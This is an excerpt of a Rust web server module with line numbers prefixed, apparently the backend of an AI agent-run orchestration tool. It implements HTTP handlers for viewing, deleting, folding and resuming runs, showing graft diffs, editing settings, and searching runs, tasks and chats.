3311#[derive(Debug, Serialize)]
3313struct LatestAttempt {
3314 id: String,
3315 short: String,
3316 resolved: bool,
3327 status: RunStatus,
3330 done: bool,
3332}
3333
3334#[derive(Debug, Default, Serialize)]
3336struct RunProseMd {
3337 advice_md: Option<AdviceMd>,
3339 candidate_summaries_md: Vec<Vec<md::Node>>,
3341 reviews_md: Vec<RoundMd>,
3343}
3344
3345#[derive(Debug, Default, Serialize)]
3346struct AdviceMd {
3347 synthesis: Vec<md::Node>,
3348 approaches: Vec<Vec<md::Node>>,
3350}
3351
3352#[derive(Debug, Default, Serialize)]
3353struct RoundMd {
3354 reviewers: Vec<ReviewerMd>,
3356 reconsideration: Vec<Vec<md::Node>>,
3358 fix: Option<FixMd>,
3359}
3360
3361#[derive(Debug, Default, Serialize)]
3362struct ReviewerMd {
3363 summary: Vec<md::Node>,
3364 findings: Vec<Vec<md::Node>>,
3366}
3367
3368#[derive(Debug, Default, Serialize)]
3369struct FixMd {
3370 notes: Vec<md::Node>,
3371 rejected: Vec<Vec<md::Node>>,
3373}
3374
3375fn run_prose_md(state: &RunState) -> RunProseMd {
3377 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3378 RunProseMd {
3379 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3380 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3381 approaches: a
3382 .records
3383 .iter()
3384 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3385 .collect(),
3386 }),
3387 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3388 reviews_md: state
3389 .reviews
3390 .iter()
3391 .map(|round| RoundMd {
3392 reviewers: round
3393 .reviews
3394 .iter()
3395 .map(|rec| ReviewerMd {
3396 summary: nodes(&rec.summary),
3397 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3398 })
3399 .collect(),
3400 reconsideration: round
3401 .reconsideration
3402 .iter()
3403 .map(|rv| nodes(&rv.reason))
3404 .collect(),
3405 fix: round.fix.as_ref().map(|fix| FixMd {
3406 notes: nodes(&fix.notes),
3407 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3408 }),
3409 })
3410 .collect(),
3411 }
3412}
3413
3414impl RunDetailView {
3415 fn of(
3416 state: RunState,
3417 waiting: bool,
3418 live: crate::run::Liveness,
3419 superseded_by: Option<String>,
3420 latest_attempt: Option<LatestAttempt>,
3421 task: Option<TaskRef>,
3422 ) -> Self {
3423 let display_status = run_display_status(&state, waiting, live);
3424 let stop_reason = crate::stop_reason::of(
3425 &state,
3426 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3427 );
3428 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3429 Self {
3430 stop_reason,
3431 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3432 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3433 prose_md: run_prose_md(&state),
3434 origin_label: crate::run::origin_label(state.origin.as_ref()),
3435 live,
3436 unmerged_by_design: state.unmerged_by_design(),
3437 waiting,
3438 display_status,
3439 badge_status,
3440 done: state.status.done(),
3441 superseded_by,
3442 latest_attempt,
3443 task,
3444 state,
3445 }
3446 }
3447}
3448
3449async fn run_detail(
3450 State(ui): State<Arc<Ui>>,
3451 Path(id): Path<String>,
3452) -> ApiResult<Json<RunDetailView>> {
3453 blocking(move || {
3454 let id = resolve_run(&ui.runs, &id)?;
3455 let state = read_run(&ui.runs, &id)?;
3456 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3457 let live = state.liveness(daemon_claims);
3458 let waiting = !ui.questions.open_for(&id).is_empty();
3459 let superseded_by = state
3460 .pr_taken_over_by
3461 .clone()
3462 .or_else(|| ui.queue.superseded_by(&id))
3463 .as_deref()
3464 .map(crate::run::short_of)
3465 .map(str::to_owned);
3466 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3470 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3471 short: head.short().to_owned(),
3472 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3473 status: head.status,
3474 done: head.status.done(),
3475 id: head.id,
3476 })
3477 });
3478 let max_attempts = daemon::Opts::default().max_attempts;
3479 let task = ui
3480 .queue
3481 .list()
3482 .into_iter()
3483 .find(|t| t.runs.contains(&id))
3484 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3485 Ok(Json(RunDetailView::of(
3486 state,
3487 waiting,
3488 live,
3489 superseded_by,
3490 latest_attempt,
3491 task,
3492 )))
3493 })
3494 .await
3495}
3496
3497async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3506 let (id, unreadable) = {
3507 let ui = Arc::clone(&ui);
3508 blocking(move || {
3509 let id = resolve_run(&ui.runs, &id)?;
3510 match read_run(&ui.runs, &id) {
3511 Ok(state) => {
3512 let in_flight =
3513 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3514 state
3515 .ensure_can_delete(in_flight)
3516 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3517 let dir = ui.runs.join(&id);
3518 std::fs::remove_dir_all(&dir)
3519 .with_context(|| format!("remove run directory {}", dir.display()))?;
3520 Ok((id, false))
3521 }
3522 Err(_) => {
3523 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3527 return Err(ApiError::conflict(format!(
3528 "run {id} is being worked on by a live daemon right now"
3529 )));
3530 }
3531 Ok((id, true))
3532 }
3533 }
3534 })
3535 .await?
3536 };
3537 if unreadable {
3538 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3539 .await
3540 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3541 }
3542 let ui = Arc::clone(&ui);
3543 let done = id.clone();
3544 blocking(move || {
3545 ui.questions.abandon_for_run(
3548 &done,
3549 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3550 )?;
3551 Ok(())
3552 })
3553 .await?;
3554 Ok(StatusCode::NO_CONTENT)
3555}
3556
3557async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3581 let (id, state) = {
3582 let ui = Arc::clone(&ui);
3583 blocking(move || {
3584 let id = resolve_run(&ui.runs, &id)?;
3585 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3586 return Err(ApiError::conflict(format!(
3587 "run {id} is being worked on by a live daemon right now"
3588 )));
3589 }
3590 let state = read_run(&ui.runs, &id).ok();
3591 Ok((id, state))
3592 })
3593 .await?
3594 };
3595 let removed = match state {
3596 Some(mut state) => {
3597 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3598 .await
3599 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3600 if removed.is_empty() {
3605 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3606 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3607 }
3608 removed
3609 }
3610 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3611 .await
3612 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3613 };
3614 Ok(Json(FoldView {
3615 run: id,
3616 removed_count: removed.len(),
3617 removed,
3618 }))
3619}
3620
3621#[derive(Debug, Serialize)]
3623struct FoldView {
3624 run: String,
3625 removed: Vec<String>,
3627 removed_count: usize,
3628}
3629
3630#[derive(Debug, Deserialize)]
3633struct FoldMergedBody {
3634 #[serde(default)]
3635 pr_url: String,
3636}
3637
3638async fn run_fold_merged(
3658 State(ui): State<Arc<Ui>>,
3659 Path(id): Path<String>,
3660 Json(body): Json<FoldMergedBody>,
3661) -> ApiResult<Json<FoldMergedView>> {
3662 let pr_url = body.pr_url.trim().to_owned();
3663 if pr_url.is_empty() {
3664 return Err(ApiError::bad_request("pr_url is required"));
3665 }
3666 let (id, mut state) = {
3667 let ui = Arc::clone(&ui);
3668 blocking(move || {
3669 let id = resolve_run(&ui.runs, &id)?;
3670 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3671 return Err(ApiError::conflict(format!(
3672 "run {id} is being worked on by a live daemon right now"
3673 )));
3674 }
3675 let state = read_run(&ui.runs, &id)?;
3676 Ok((id, state))
3677 })
3678 .await?
3679 };
3680 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3681 .await
3682 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3683 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3684 .await
3685 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3686 Ok(Json(FoldMergedView {
3687 run: id,
3688 before: before.as_str().to_owned(),
3689 after: after.as_str().to_owned(),
3690 removed,
3691 }))
3692}
3693
3694#[derive(Debug, Serialize)]
3696struct FoldMergedView {
3697 run: String,
3698 before: String,
3700 after: String,
3702 removed: Vec<String>,
3704}
3705
3706async fn run_resume(
3726 State(ui): State<Arc<Ui>>,
3727 Path(id): Path<String>,
3728) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3729 let (id, state) = {
3730 let ui = Arc::clone(&ui);
3731 blocking(move || {
3732 let id = resolve_run(&ui.runs, &id)?;
3733 let state = read_run(&ui.runs, &id)?;
3734 Ok((id, state))
3735 })
3736 .await?
3737 };
3738 if let Some(to) = state
3739 .pr_taken_over_by
3740 .as_ref()
3741 .or(state.released_to.as_ref())
3742 {
3743 return Err(ApiError::conflict(format!(
3744 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3745 state.short(),
3746 crate::run::short_of(to)
3747 )));
3748 }
3749 if !state.status.resumable() {
3750 return Err(ApiError::conflict(format!(
3751 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3752 state.short(),
3753 status_word(state.status)
3754 )));
3755 }
3756 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3761 .into_iter()
3762 .next()
3763 {
3764 return Err(ApiError::conflict(format!(
3765 "the loop is running run {} right now; stop it first, or wait for \
3766 it to finish, before resuming a run by hand.",
3767 crate::run::short_of(&work.run)
3768 )));
3769 }
3770 let _resume = ui.begin_resume(&id)?;
3771
3772 let queued = RunSummary::of(
3775 &state,
3776 !ui.questions.open_for(&id).is_empty(),
3777 state.liveness(false),
3778 );
3779 let run = id.clone();
3780 tokio::spawn(async move {
3781 let _resume = _resume;
3782 match crate::graph::Runner::resume(&run) {
3783 Ok(mut runner) => {
3784 if let Err(e) = runner.execute().await {
3785 tracing::warn!("resume of run {run} stopped: {e:#}");
3786 }
3787 }
3788 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3791 }
3792 });
3793 Ok((StatusCode::ACCEPTED, Json(queued)))
3794}
3795
3796async fn run_report(
3797 State(ui): State<Arc<Ui>>,
3798 Path(id): Path<String>,
3799) -> ApiResult<impl IntoResponse> {
3800 let text = blocking(move || {
3801 let id = resolve_run(&ui.runs, &id)?;
3802 let state = read_run(&ui.runs, &id)?;
3806 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3807 let live = state.liveness(daemon_claims);
3808 Ok(format!(
3809 "{}{}",
3810 report::run(&state),
3811 report::active_seats(&state, live)
3812 ))
3813 })
3814 .await?;
3815 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3816}
3817
3818async fn run_report_json(
3822 State(ui): State<Arc<Ui>>,
3823 Path(id): Path<String>,
3824) -> ApiResult<Json<crate::report_view::RunReportView>> {
3825 let view = blocking(move || {
3826 let id = resolve_run(&ui.runs, &id)?;
3827 let state = read_run(&ui.runs, &id)?;
3828 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3829 let recovered = state.graft.as_ref().map(|_| {
3831 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3832 });
3833 Ok(crate::report_view::build_with(
3834 &state,
3835 state.liveness(daemon_claims),
3836 recovered.as_ref(),
3837 ))
3838 })
3839 .await?;
3840 Ok(Json(view))
3841}
3842
3843const GRAFT_DIFF_MAX: usize = 400 * 1024;
3845const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3847
3848async fn run_graft_diff(
3851 State(ui): State<Arc<Ui>>,
3852 Path(id): Path<String>,
3853) -> ApiResult<impl IntoResponse> {
3854 let (repo, pre, post) = blocking(move || {
3855 let id = resolve_run(&ui.runs, &id)?;
3856 let state = read_run(&ui.runs, &id)?;
3857 let g = state
3858 .graft
3859 .as_ref()
3860 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3861 let post = g
3862 .post
3863 .clone()
3864 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3865 Ok((state.repo.clone(), g.pre.clone(), post))
3866 })
3867 .await?;
3868 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3869 if !hex(&pre) || !hex(&post) {
3870 return Err(ApiError::not_found("the recorded commits are not valid"));
3871 }
3872 let out = tokio::time::timeout(
3873 GRAFT_DIFF_TIMEOUT,
3874 crate::git::git_raw(
3875 &repo,
3876 &[
3877 "diff",
3878 "--no-color",
3879 "--no-ext-diff",
3880 "-M",
3881 &pre,
3882 &post,
3883 "--",
3884 ],
3885 ),
3886 )
3887 .await
3888 .map_err(|_| ApiError::not_found("git diff timed out"))?
3889 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3890 if out.code != Some(0) {
3891 return Err(ApiError::not_found(
3892 "the recorded commits are no longer in the repository",
3893 ));
3894 }
3895 let mut body = out.stdout;
3896 if body.len() > GRAFT_DIFF_MAX {
3897 let mut cut = GRAFT_DIFF_MAX;
3898 while !body.is_char_boundary(cut) {
3899 cut -= 1;
3900 }
3901 body.truncate(cut);
3902 body.push_str("\n... diff truncated ...");
3903 }
3904 Ok((
3905 [
3906 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3907 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3908 ],
3909 body,
3910 ))
3911}
3912
3913#[derive(Debug, Serialize)]
3919struct TaskView {
3920 #[serde(flatten)]
3921 task: Task,
3922 source_label: String,
3923 source_link: Option<SourceLink>,
3924 status_str: &'static str,
3925 instruction_md: Vec<md::Node>,
3929 waits_on: Vec<String>,
3933 stuck_roots: Vec<String>,
3936}
3937
3938impl From<Task> for TaskView {
3939 fn from(task: Task) -> Self {
3940 Self {
3941 source_label: task.source.label(),
3942 source_link: source_link(&task.source),
3943 status_str: task.status.as_str(),
3944 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3945 waits_on: Vec::new(),
3946 stuck_roots: Vec::new(),
3947 task,
3948 }
3949 }
3950}
3951
3952impl TaskView {
3953 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3954 let waits_on = inv.waits_on(&task);
3955 let stuck_roots = inv
3956 .stuck_roots(&task)
3957 .iter()
3958 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3959 .collect();
3960 Self {
3961 waits_on,
3962 stuck_roots,
3963 ..Self::from(task)
3964 }
3965 }
3966}
3967
3968#[derive(Debug, Default, Deserialize)]
3971#[serde(default)]
3972struct ReposQuery {
3973 refresh: u8,
3974}
3975
3976async fn repos_list(
3983 State(ui): State<Arc<Ui>>,
3984 Query(q): Query<ReposQuery>,
3985) -> ApiResult<Json<Vec<repos::Repo>>> {
3986 let refresh = q.refresh != 0;
3987 blocking(move || {
3988 let (cfg, _) = Config::discover(&ui.repo, None)?;
3989 Ok(Json(ui.repos_cache.list(
3990 &cfg.repos.roots,
3991 Duration::from_secs(cfg.repos.scan_ttl),
3992 refresh,
3993 )))
3994 })
3995 .await
3996}
3997
3998#[derive(Debug, Default, Deserialize)]
4000struct SettingsQuery {
4001 repo: Option<PathBuf>,
4002}
4003
4004fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4008 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4009 let paths: Vec<PathBuf> = ui
4010 .machine_config
4011 .iter()
4012 .filter(|p| p.is_file())
4013 .cloned()
4014 .collect();
4015 if paths.is_empty() {
4016 Ok(Config::autodetected())
4017 } else {
4018 Config::load_layers(&paths)
4019 }
4020 });
4021 let mut known = cfg
4022 .map(|cfg| {
4023 ui.repos_cache.list(
4024 &cfg.repos.roots,
4025 Duration::from_secs(cfg.repos.scan_ttl),
4026 refresh,
4027 )
4028 })
4029 .unwrap_or_default();
4030 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4031 if !known.iter().any(|r| r.path == path) {
4032 known.push(repos::Repo {
4033 name: path
4034 .file_name()
4035 .unwrap_or_default()
4036 .to_string_lossy()
4037 .into_owned(),
4038 path,
4039 });
4040 }
4041 known
4042}
4043
4044fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4045 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4046 let canonical = requested.canonicalize().ok();
4047 let mut known = settings_repositories(ui, false);
4048 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4049 if !known.iter().any(matches) {
4050 known = settings_repositories(ui, true);
4051 }
4052 let repo = known
4053 .iter()
4054 .find(|r| matches(r))
4055 .map(|r| r.path.clone())
4056 .ok_or_else(|| ApiError {
4057 status: StatusCode::UNPROCESSABLE_ENTITY,
4058 message: "Choose a known repository from the Settings selector.".to_owned(),
4059 })?;
4060 Ok((repo, known))
4061}
4062
4063async fn settings_get(
4067 State(ui): State<Arc<Ui>>,
4068 Query(q): Query<SettingsQuery>,
4069) -> ApiResult<Json<settings::SettingsView>> {
4070 blocking(move || {
4071 let (repo, known) = settings_context(&ui, q)?;
4072 Ok(Json(settings::view_with_repos(
4073 &repo,
4074 ui.machine_config.as_deref(),
4075 &known,
4076 )))
4077 })
4078 .await
4079}
4080
4081#[derive(Debug, Deserialize)]
4083#[serde(deny_unknown_fields)]
4084struct RolesBody {
4085 revision: String,
4087 #[serde(default)]
4089 roles: std::collections::BTreeMap<String, Vec<String>>,
4090 #[serde(default)]
4094 counts: std::collections::BTreeMap<String, serde_json::Value>,
4095}
4096
4097async fn settings_put_roles(
4103 State(ui): State<Arc<Ui>>,
4104 Query(q): Query<SettingsQuery>,
4105 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4106) -> ApiResult<Json<settings::SettingsView>> {
4107 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4108 blocking(move || {
4109 let (repo, known) = settings_context(&ui, q)?;
4110 settings::save_with_repos(
4111 &repo,
4112 ui.machine_config.as_deref(),
4113 &body.revision,
4114 &body.roles,
4115 &body.counts,
4116 &known,
4117 )
4118 .map(Json)
4119 .map_err(|e| match e {
4120 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4121 settings::SaveError::Refused(m) => ApiError {
4122 status: StatusCode::UNPROCESSABLE_ENTITY,
4123 message: m,
4124 },
4125 settings::SaveError::Internal(m) => ApiError::internal(m),
4126 })
4127 })
4128 .await
4129}
4130
4131async fn queue_list(
4132 State(ui): State<Arc<Ui>>,
4133 Query(q): Query<ListQuery>,
4134) -> ApiResult<Json<Vec<TaskView>>> {
4135 blocking(move || {
4136 let tasks = ui.queue.list();
4137 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4138 Ok(Json(
4139 tasks
4140 .into_iter()
4141 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4142 .map(|t| TaskView::with_inventory(t, &inv))
4143 .collect(),
4144 ))
4145 })
4146 .await
4147}
4148
4149const SEARCH_MAX_HITS: usize = 100;
4151const SEARCH_MAX_QUERY: usize = 200;
4153const SEARCH_MAX_TERMS: usize = 8;
4154const SNIPPET_BEFORE: usize = 50;
4156const SNIPPET_AFTER: usize = 110;
4157
4158#[derive(Debug, Deserialize)]
4160struct SearchQuery {
4161 #[serde(default)]
4162 scope: String,
4163 #[serde(default)]
4164 q: String,
4165}
4166
4167#[derive(Debug, Serialize, PartialEq, Eq)]
4170struct SnippetPart {
4171 text: String,
4172 hit: bool,
4173}
4174
4175#[derive(Debug, Serialize)]
4176struct SearchHit {
4177 id: String,
4178 field: String,
4180 snippet: Vec<SnippetPart>,
4181 #[serde(skip_serializing_if = "Option::is_none")]
4185 run: Option<RunSummary>,
4186}
4187
4188#[derive(Debug, Serialize)]
4189struct SearchView {
4190 scope: String,
4191 q: String,
4192 hits: Vec<SearchHit>,
4194 total: usize,
4196 truncated: bool,
4197 unreadable: usize,
4200}
4201
4202fn text_leaves<'a>(
4205 value: &'a serde_json::Value,
4206 field: &'a str,
4207 out: &mut Vec<(&'a str, &'a str)>,
4208) {
4209 match value {
4210 serde_json::Value::String(s) => out.push((field, s)),
4211 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4212 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4213 _ => {}
4214 }
4215}
4216
4217fn fold_char(c: char) -> char {
4220 c.to_lowercase().next().unwrap_or(c)
4221}
4222
4223fn search_terms(q: &str) -> Vec<String> {
4225 let mut terms: Vec<String> = Vec::new();
4226 for t in q.split_whitespace() {
4227 let t = t.to_lowercase();
4228 if !terms.contains(&t) {
4229 terms.push(t);
4230 }
4231 }
4232 terms
4233}
4234
4235fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4238 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4239 let mut first: Option<usize> = None;
4240 for term in terms {
4241 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4242 first = Some(first.map_or(at, |f| f.min(at)));
4243 }
4244 let (field, text) = leaves[first?];
4246 Some(SearchHit {
4247 id: String::new(),
4248 field: field.to_owned(),
4249 snippet: snippet_of(text, terms),
4250 run: None,
4251 })
4252}
4253
4254fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4257 let chars: Vec<char> = text.chars().collect();
4258 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4259 let needles: Vec<Vec<char>> = terms
4260 .iter()
4261 .map(|t| t.chars().map(fold_char).collect())
4262 .collect();
4263 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4264 let mut best: Option<(usize, usize)> = None;
4265 for n in needles.iter().filter(|n| !n.is_empty()) {
4266 if n.len() > chars.len() || to == 0 {
4270 continue;
4271 }
4272 let last = (to - 1).min(chars.len() - n.len());
4273 if from > last {
4274 continue;
4275 }
4276 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4277 && best.is_none_or(|(b, _)| i < b)
4278 {
4279 best = Some((i, i + n.len()));
4280 }
4281 }
4282 best
4283 };
4284 let Some((start, _)) = find(0, chars.len()) else {
4285 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4287 return vec![SnippetPart {
4288 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4289 hit: false,
4290 }];
4291 };
4292 let lo = start.saturating_sub(SNIPPET_BEFORE);
4293 let hi = (start + SNIPPET_AFTER).min(chars.len());
4294 let mut parts: Vec<SnippetPart> = Vec::new();
4295 let mut push = |s: &[char], hit: bool| {
4296 if s.is_empty() {
4297 return;
4298 }
4299 let text: String = s.iter().collect();
4300 match parts.last_mut() {
4301 Some(p) if p.hit == hit => p.text.push_str(&text),
4302 _ => parts.push(SnippetPart { text, hit }),
4303 }
4304 };
4305 if lo > 0 {
4306 push(&['\u{2026}'], false);
4307 }
4308 let mut at = lo;
4309 while at < hi {
4310 match find(at, hi) {
4311 Some((s, e)) => {
4312 push(&chars[at..s], false);
4313 let shown = e.min(hi);
4315 push(&chars[s..shown], true);
4316 at = shown;
4317 }
4318 None => {
4319 push(&chars[at..hi], false);
4320 at = hi;
4321 }
4322 }
4323 }
4324 if hi < chars.len() {
4325 push(&['\u{2026}'], false);
4326 }
4327 let mut prev_space = false;
4330 for p in &mut parts {
4331 let mut out = String::with_capacity(p.text.len());
4332 for c in p.text.chars() {
4333 if c.is_whitespace() {
4334 if !prev_space {
4335 out.push(' ');
4336 }
4337 prev_space = true;
4338 } else {
4339 out.push(c);
4340 prev_space = false;
4341 }
4342 }
4343 p.text = out;
4344 }
4345 parts.retain(|p| !p.text.is_empty());
4346 parts
4347}
4348
4349fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4351where
4352 I: IntoIterator<Item = (String, serde_json::Value)>,
4353{
4354 for (id, doc) in docs {
4355 let mut leaves = Vec::new();
4356 leaves.push(("id", id.as_str()));
4359 text_leaves(&doc, "", &mut leaves);
4360 if let Some(mut hit) = search_document(terms, &leaves) {
4361 view.total += 1;
4362 if view.hits.len() < SEARCH_MAX_HITS {
4363 hit.id = id;
4364 view.hits.push(hit);
4365 }
4366 }
4367 }
4368 view.truncated = view.total > view.hits.len();
4369}
4370
4371fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4378 let opener = talk
4379 .turns
4380 .iter()
4381 .find(|t| t.who == crate::talk::Who::Operator)
4382 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4383 .unwrap_or("");
4384 let title: String = if opener.chars().count() > 96 {
4385 opener.chars().take(95).chain(['\u{2026}']).collect()
4386 } else {
4387 opener.to_owned()
4388 };
4389 let turns: Vec<serde_json::Value> = talk
4390 .turns
4391 .iter()
4392 .map(|t| {
4393 let who = match t.who {
4394 crate::talk::Who::Operator => "operator",
4395 crate::talk::Who::Agent => "agent",
4396 };
4397 serde_json::json!({ who: t.body })
4398 })
4399 .collect();
4400 serde_json::json!({ "title": title, "turns": turns })
4401}
4402
4403async fn search_get(
4410 State(ui): State<Arc<Ui>>,
4411 Query(q): Query<SearchQuery>,
4412) -> ApiResult<Json<SearchView>> {
4413 let query = q.q.trim().to_owned();
4414 if query.is_empty() {
4415 return Err(ApiError::bad_request("q must not be empty"));
4416 }
4417 if query.chars().count() > SEARCH_MAX_QUERY {
4418 return Err(ApiError::bad_request(format!(
4419 "q is longer than {SEARCH_MAX_QUERY} characters"
4420 )));
4421 }
4422 let terms = search_terms(&query);
4423 if terms.len() > SEARCH_MAX_TERMS {
4424 return Err(ApiError::bad_request(format!(
4425 "q has more than {SEARCH_MAX_TERMS} terms"
4426 )));
4427 }
4428 let scope = q.scope;
4429 if scope != "runs" && scope != "tasks" && scope != "chats" {
4430 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4431 }
4432 blocking(move || {
4433 let mut view = SearchView {
4434 scope: scope.clone(),
4435 q: query,
4436 hits: Vec::new(),
4437 total: 0,
4438 truncated: false,
4439 unreadable: 0,
4440 };
4441 if scope == "runs" {
4442 let mut unreadable = 0;
4443 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4447 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4448 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4449 Some(v) => Some((id, v)),
4450 None => {
4451 unreadable += 1;
4452 None
4453 }
4454 }
4455 });
4456 search_docs(&terms, docs, &mut view);
4457 view.unreadable = unreadable;
4458 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4461 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4462 for hit in &mut view.hits {
4463 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4464 hit.run = summarize(
4465 [state],
4466 &open_runs,
4467 &claimed,
4468 &superseded,
4469 |p| probe.borrow_mut().status(p),
4470 |p| probe.borrow_mut().started_at(p),
4471 )
4472 .pop();
4473 }
4474 }
4475 } else if scope == "chats" {
4476 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4477 view.unreadable = unreadable;
4478 search_docs(
4479 &terms,
4480 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4481 &mut view,
4482 );
4483 } else {
4484 let docs = ui.queue.list().into_iter().filter_map(|t| {
4485 let mut v = serde_json::to_value(&t).ok()?;
4486 if let Some(o) = v.as_object_mut() {
4489 o.insert("filed_by".to_owned(), t.source.label().into());
4490 }
4491 Some((t.id, v))
4492 });
4493 search_docs(&terms, docs, &mut view);
4494 }
4495 Ok(Json(view))
4496 })
4497 .await
4498}
4499
4500#[derive(Debug, Serialize)]
4502struct TaskRunView {
4503 n: usize,
4505 id: String,
4506 short: String,
4507 kind: &'static str,
4509 status: Option<&'static str>,
4511 readable: bool,
4513 provisional: bool,
4515 description: String,
4517 outcome: String,
4519 created_at: Option<Timestamp>,
4520 pr: Option<String>,
4521 exit: RunExit,
4523 attempt: AttemptCost,
4525 exit_label: String,
4528 later_pass: Option<usize>,
4531 pass_n: usize,
4535 passes_of_run: usize,
4536 pass: Option<PassView>,
4539 branch: Option<String>,
4541 badge: Option<String>,
4544}
4545
4546#[derive(Debug, Clone, PartialEq, Serialize)]
4548struct PassView {
4549 index: usize,
4550 resumed: bool,
4551 started_at: Timestamp,
4552 ended_at: Option<Timestamp>,
4553 end: &'static str,
4555 cause: Option<crate::run::ParkCause>,
4556 label: String,
4558 cost: Option<crate::queue::PassCost>,
4561}
4562
4563impl PassView {
4564 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4565 use crate::run::PassEnd;
4566 let (end, cause, label) = match &p.end {
4567 None => ("open", None, "still open".to_owned()),
4568 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4569 Some(PassEnd::Unrecorded) => (
4570 "unrecorded",
4571 None,
4572 "stopped without recording why (a crash, a kill or a restart; not known)"
4573 .to_owned(),
4574 ),
4575 };
4576 Self {
4577 index: p.index,
4578 resumed: p.resumed,
